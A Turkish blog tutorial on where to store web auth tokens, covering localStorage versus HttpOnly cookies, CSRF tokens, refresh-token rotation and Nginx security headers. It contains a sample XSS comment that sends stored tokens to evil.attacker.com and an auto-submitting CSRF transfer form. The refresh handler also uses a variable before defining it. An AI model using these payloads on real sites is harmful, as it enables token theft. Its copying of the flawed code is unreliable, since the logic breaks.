Token Depolama Güvenliği: LocalStorage mı, HttpOnly Cookie mı?

Web uygulamalarında kimlik doğrulama token’larını nerede saklayacağın kararı, güvenlik mimarinin temel taşlarından biridir. Bu kararı yanlış verdiğinde, tüm OAuth akışını veya JWT implementasyonunu sıfırdan yazmak zorunda kalabilirsin. Üstelik bu sadece teknik bir tercih değil, aynı zamanda saldırı yüzeyini doğrudan belirleyen bir güvenlik kararıdır.

Sorun Ne?

Modern web uygulamalarında kullanıcıları doğruladıktan sonra elimizde bir token oluyor. Bu token bir JWT olabilir, OAuth access token olabilir ya da refresh token olabilir. Sorun şu ki bu token’ı bir yerde saklamak zorundayız. Tarayıcı tarafında iki popüler tercih var: localStorage ve HttpOnly Cookie. Her ikisinin de farklı saldırı vektörlerine karşı farklı dayanıklılıkları var.

Bir sysadmin olarak sadece backend tarafıyla ilgileniyorsam neden beni ilgilendirsin diyebilirsin. Ama şöyle düşün: reverse proxy kuruyorsun, Nginx veya Apache konfigürasyonu yapıyorsun, cookie ayarlarını sunucu tarafında kontrol ediyorsun, CORS başlıklarını yönetiyorsun. Bunların hepsi doğrudan bu kararı etkiliyor.

LocalStorage: Kulağa Kolay Geliyor Ama…

localStorage, tarayıcının sunduğu basit bir key-value depolama mekanizmasıdır. JavaScript ile kolayca okuyup yazabilirsin.

// Token kaydetme
localStorage.setItem('access_token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');

// Token okuma
const token = localStorage.getItem('access_token');

// Her istekte header'a eklemek
fetch('/api/data', {
  headers: {
    'Authorization': `Bearer ${token}`
  }
});

Kulağa çok basit geliyor. Geliştirici deneyimi açısından gerçekten pratik. Peki sorun ne?

XSS Saldırısı: LocalStorage’ın Kâbusu

Cross-Site Scripting (XSS) saldırısı, localStorage kullanan bir uygulamanın en büyük düşmanıdır. Senaryo şu: Bir kullanıcı uygulamanın herhangi bir yerine zararlı JavaScript kodu enjekte edebilirse, o andan itibaren localStorage içindeki her şeye erişebilir.

Gerçek dünya senaryosu düşün: E-ticaret platformun var. Kullanıcılar yorum yazabiliyor. Bir saldırgan şöyle bir yorum gönderdi:

Harika ürün! <script>
  fetch('https://evil.attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      token: localStorage.getItem('access_token'),
      refresh: localStorage.getItem('refresh_token')
    })
  });
</script>

Eğer bu yorum düzgün sanitize edilmeden gösterilirse, onu görüntüleyen her kullanıcının token’ı saldırgana gönderilmiş olur. Üstelik bu token ile saldırgan o kullanıcı gibi davranabilir.

LocalStorage’ın Diğer Riskleri

  • Kalıcılık sorunu: localStorage sayfalar ve sekmeler arasında paylaşılır, sekme kapansa bile veri kalır
  • Third-party script tehlikesi: Uygulamana eklediğin analytics, chat widget, reklam scriptleri de localStorage‘a erişebilir
  • Browser extension riskleri: Kötü niyetli tarayıcı eklentileri localStorage‘ı okuyabilir
  • CSRF koruması gereksiz ama XSS koruması kritik: Cookie’nin tam tersi bir profil

HttpOnly Cookie: Neden Daha İyi?

HttpOnly flag’i olan bir cookie, JavaScript tarafından okunamaz. Sadece HTTP istekleri sırasında tarayıcı tarafından otomatik olarak gönderilir. Bu basit özellik, XSS saldırılarına karşı dramatik bir koruma sağlar.

Nginx ile bir backend uygulaması için cookie ayarlarını şöyle yapabilirsin:

# /etc/nginx/sites-available/myapp.conf
server {
    listen 443 ssl;
    server_name api.example.com;

    location /auth/token {
        proxy_pass http://localhost:8080;
        
        # Backend'den gelen cookie'leri modifiye et
        proxy_cookie_path / "/; HttpOnly; Secure; SameSite=Strict";
        
        # Gerekli header'lar
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

Backend tarafında (örneğin Node.js/Express) cookie’yi şöyle set edebilirsin:

// Login endpoint
app.post('/auth/login', async (req, res) => {
    const { username, password } = req.body;
    
    // Kullanıcı doğrulama
    const user = await authenticateUser(username, password);
    if (!user) {
        return res.status(401).json({ error: 'Geçersiz kimlik bilgileri' });
    }
    
    // JWT token oluştur
    const accessToken = jwt.sign(
        { userId: user.id, email: user.email },
        process.env.JWT_SECRET,
        { expiresIn: '15m' }
    );
    
    const refreshToken = jwt.sign(
        { userId: user.id },
        process.env.JWT_REFRESH_SECRET,
        { expiresIn: '7d' }
    );
    
    // HttpOnly cookie ile gönder
    res.cookie('access_token', accessToken, {
        httpOnly: true,        // JavaScript erişimi engelle
        secure: true,          // Sadece HTTPS
        sameSite: 'strict',    // CSRF koruması
        maxAge: 15 * 60 * 1000 // 15 dakika
    });
    
    res.cookie('refresh_token', refreshToken, {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 7 * 24 * 60 * 60 * 1000, // 7 gün
        path: '/auth/refresh'  // Sadece bu path için gönderilsin
    });
    
    res.json({ message: 'Giriş başarılı', userId: user.id });
});

CSRF: HttpOnly Cookie’nin Zayıf Noktası

HttpOnly Cookie kullanıldığında yeni bir tehdit devreye giriyor: Cross-Site Request Forgery (CSRF). Tarayıcı, cookie’leri ilgili domain’e her istekte otomatik gönderdiği için, saldırgan kullanıcının haberi olmadan onun adına istek yaptırabilir.

<!-- Saldırganın sitesindeki bu basit form, kurbanın bankasına istek gönderir -->
<form action="https://bank.example.com/transfer" method="POST">
    <input type="hidden" name="amount" value="10000">
    <input type="hidden" name="to_account" value="attacker_account">
</form>
<script>document.forms[0].submit();</script>

SameSite=Strict veya SameSite=Lax ayarı modern tarayıcılarda bu saldırıyı büyük ölçüde engeller. Ama ek güvenlik için CSRF token da kullanmalısın.

# Flask ile CSRF token implementasyonu
from flask import Flask, request, session, jsonify
from flask_wtf.csrf import CSRFProtect, generate_csrf
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
csrf = CSRFProtect(app)

@app.route('/auth/csrf-token', methods=['GET'])
def get_csrf_token():
    # CSRF token'ı JavaScript'in okuyabileceği regular cookie veya response body ile gönder
    token = generate_csrf()
    response = jsonify({'csrf_token': token})
    response.set_cookie('csrf_token', token, httponly=False, secure=True, samesite='Strict')
    return response

@app.route('/api/sensitive-action', methods=['POST'])
def sensitive_action():
    # Header'dan CSRF token'ı kontrol et
    csrf_token = request.headers.get('X-CSRF-Token')
    if not csrf_token or csrf_token != session.get('csrf_token'):
        return jsonify({'error': 'CSRF doğrulama başarısız'}), 403
    
    # İşlemi gerçekleştir
    return jsonify({'status': 'success'})

Hibrit Yaklaşım: Token Splitting

Güvenlik topluluğunda popüler bir yaklaşım var: token’ı ikiye bölmek. Header ve payload kısmı localStorage‘da, signature kısmı HttpOnly Cookie‘de saklanır. Bu yaklaşım şöyle çalışır:

  • Saldırgan XSS ile localStorage‘dan header+payload alsa bile signature olmadan token geçersiz
  • Saldırgan CSRF ile istek yapsa bile token’ın tamamı gönderilir ama JavaScript’ten okuyamaz
// Backend: Token'ı böl ve farklı yerlere gönder
app.post('/auth/login', async (req, res) => {
    const token = generateJWT(user);
    const parts = token.split('.');
    
    // Header.Payload kısmı localStorage için response body'de gönder
    const tokenBody = `${parts[0]}.${parts[1]}`;
    
    // Signature HttpOnly Cookie'de
    res.cookie('token_sig', parts[2], {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 15 * 60 * 1000
    });
    
    res.json({ 
        tokenBody: tokenBody,
        // Frontend bunu localStorage'a yazar
    });
});

// Frontend: İstek yaparken birleştir
const tokenBody = localStorage.getItem('token_body');
fetch('/api/data', {
    headers: {
        'Authorization': `Bearer ${tokenBody}`,
        // Cookie otomatik gönderilir, backend iki parçayı birleştirir
    },
    credentials: 'include'
});

Bu yaklaşım teorik olarak zekice ama pratikte implementasyon karmaşıklığı getiriyor ve her iki açığı da potansiyel olarak barındırıyor. Genelde production’da pek tercih edilmiyor.

Refresh Token Stratejisi

Token güvenliğinin en kritik bileşenlerinden biri refresh token yönetimidir. Access token’ları kısa ömürlü (15 dakika), refresh token’ları uzun ömürlü (7-30 gün) olmalı.

#!/bin/bash
# Token rotation scriptini test etmek için basit bir curl örneği

# Login ve token al
echo "=== Login ==="
LOGIN_RESPONSE=$(curl -s -X POST https://api.example.com/auth/login 
    -H "Content-Type: application/json" 
    -d '{"username":"testuser","password":"testpass"}' 
    -c cookies.txt)

echo $LOGIN_RESPONSE

# Cookie'de saklanan token ile korumalı endpoint'e eriş
echo "=== Protected Resource ==="
curl -s https://api.example.com/api/profile 
    -b cookies.txt 
    -H "X-CSRF-Token: $(cat csrf_token.txt)"

# Token refresh
echo "=== Refresh Token ==="
curl -s -X POST https://api.example.com/auth/refresh 
    -b cookies.txt 
    -c cookies.txt 
    -H "X-CSRF-Token: $(cat csrf_token.txt)"

# Logout - server side'da token'ı iptal et
echo "=== Logout ==="
curl -s -X POST https://api.example.com/auth/logout 
    -b cookies.txt 
    -H "X-CSRF-Token: $(cat csrf_token.txt)"

Backend’de refresh token rotation şöyle implemente edilebilir:

// Redis ile refresh token yönetimi
const redis = require('redis');
const client = redis.createClient();

app.post('/auth/refresh', async (req, res) => {
    const refreshToken = req.cookies.refresh_token;
    
    if (!refreshToken) {
        return res.status(401).json({ error: 'Refresh token bulunamadı' });
    }
    
    try {
        // Token'ın blacklist'te olup olmadığını kontrol et
        const isBlacklisted = await client.get(`blacklist:${refreshToken}`);
        if (isBlacklisted) {
            // Muhtemel token çalınma girişimi
            await invalidateAllUserTokens(decoded.userId);
            return res.status(401).json({ error: 'Token geçersiz, tüm oturumlar sonlandırıldı' });
        }
        
        const decoded = jwt.verify(refreshToken, process.env.JWT_REFRESH_SECRET);
        
        // Yeni token çifti oluştur (token rotation)
        const newAccessToken = jwt.sign(
            { userId: decoded.userId },
            process.env.JWT_SECRET,
            { expiresIn: '15m' }
        );
        
        const newRefreshToken = jwt.sign(
            { userId: decoded.userId },
            process.env.JWT_REFRESH_SECRET,
            { expiresIn: '7d' }
        );
        
        // Eski refresh token'ı blacklist'e al
        const ttl = 7 * 24 * 60 * 60; // 7 gün
        await client.setEx(`blacklist:${refreshToken}`, ttl, 'revoked');
        
        // Yeni token'ları cookie'ye yaz
        res.cookie('access_token', newAccessToken, {
            httpOnly: true,
            secure: true,
            sameSite: 'strict',
            maxAge: 15 * 60 * 1000
        });
        
        res.cookie('refresh_token', newRefreshToken, {
            httpOnly: true,
            secure: true,
            sameSite: 'strict',
            maxAge: 7 * 24 * 60 * 60 * 1000,
            path: '/auth/refresh'
        });
        
        res.json({ message: 'Token yenilendi' });
        
    } catch (err) {
        res.status(401).json({ error: 'Geçersiz refresh token' });
    }
});

Nginx ile Cookie Güvenlik Başlıkları

Sunucu tarafında cookie güvenliğini desteklemek için doğru başlıkları set etmek şart:

# /etc/nginx/conf.d/security-headers.conf
server {
    # HSTS - Tarayıcıyı sadece HTTPS kullanmaya zorla
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    
    # XSS koruması (eski tarayıcılar için)
    add_header X-XSS-Protection "1; mode=block" always;
    
    # Clickjacking koruması
    add_header X-Frame-Options "SAMEORIGIN" always;
    
    # MIME type sniffing engelle
    add_header X-Content-Type-Options "nosniff" always;
    
    # Content Security Policy - XSS saldırılarını zorlaştır
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-$request_id'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https://api.example.com; frame-ancestors 'none';" always;
    
    # Referrer politikası
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    
    # Cookie güvenlik ayarları proxy üzerinden geçerken
    proxy_cookie_flags ~ httponly secure;
}

Hangi Durumda Ne Kullanmalı?

Gerçek dünya kararları için şu kriterleri değerlendirmek gerekiyor:

HttpOnly Cookie tercih et:

  • Geleneksel web uygulamaları (SSR)
  • Aynı domain üzerinde çalışan frontend ve backend
  • Yüksek güvenlik gereksinimleri olan uygulamalar (finans, sağlık, e-devlet)
  • GDPR veya HIPAA gibi regülasyonlara tabi sistemler

LocalStorage tercih etmeyi düşünebileceğin durumlar:

  • Farklı domain’lerde çalışan frontend ve API (cross-origin senaryolar)
  • Native mobil uygulama benzeri deneyimler (PWA)
  • XSS riskini minimize ettiğinden emin olduğun, çok iyi kontrol edilen uygulamalar
  • Üçüncü taraf API entegrasyonları (token’ı doğrudan client’tan gönderme zorunluluğu)

Hibrit senaryo:

  • Frontend ve backend farklı subdomainlerde: app.example.com ve api.example.com
  • Bu durumda SameSite=None; Secure cookie kullanabilirsin ama CORS ayarlarını dikkatli yapman gerekir
# Cross-origin cookie için CORS ayarları
location /api/ {
    add_header 'Access-Control-Allow-Origin' 'https://app.example.com' always;
    add_header 'Access-Control-Allow-Credentials' 'true' always;
    add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS' always;
    add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type, X-CSRF-Token' always;
    
    if ($request_method = 'OPTIONS') {
        return 204;
    }
    
    proxy_pass http://backend:8080;
    proxy_set_header Cookie $http_cookie;
}

Yaygın Hatalar ve Çözümleri

  • secure flag olmadan HttpOnly kullanmak: HTTP üzerinden cookie’ler plain text gider, ortadaki adam saldırısına açık kalırsın. Her zaman Secure flag’i de ekle.
  • Çok uzun ömürlü access token: Access token’ı uzun ömürlü yapıp refresh mekanizmasından kaçınmak sık yapılan bir hata. 15-30 dakika yeterli.
  • Refresh token’ı rotate etmemek: Her kullanımda yeni refresh token üretmezsen, çalınan bir refresh token sonsuza kadar kullanılabilir.
  • Logout’ta sadece client tarafını temizlemek: Server’da token’ı blacklist’e almadan sadece cookie’yi silmek yetersiz. Token süresi dolana kadar geçerli olmaya devam eder.
  • SameSite ayarını atlamak: Modern tarayıcılarda varsayılan Lax ama buna güvenmek yerine açıkça belirtmek her zaman daha güvenli.

Sonuç

Token depolama kararı “hangisi daha kolay?” sorusuyla verilmemeli. HttpOnly Cookie, XSS saldırılarına karşı sunduğu doğal koruma sayesinde çoğu web uygulaması için tercih edilmesi gereken yaklaşımdır. CSRF riskini SameSite=Strict ve CSRF token kombinasyonuyla yönetebilirsin.

localStorage bazı cross-origin senaryolarda kaçınılmaz olabilir, ama bu durumda XSS korumasına çok daha fazla önem vermen gerekir: Content Security Policy başlıkları, input sanitization, DOMPurify gibi kütüphaneler ve third-party script denetimi senin en iyi arkadaşların olur.

Sonuçta tek bir “doğru cevap” yok. Uygulamanın tehdit modeline, mimarisine ve regülasyon gereksinimlerine göre karar vermelisin. Ama varsayılan seçeneğin HttpOnly Cookie olmasını tavsiye ederim. Daha az “havalı” görünebilir, ama security by default prensibi açısından doğru başlangıç noktasıdır.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir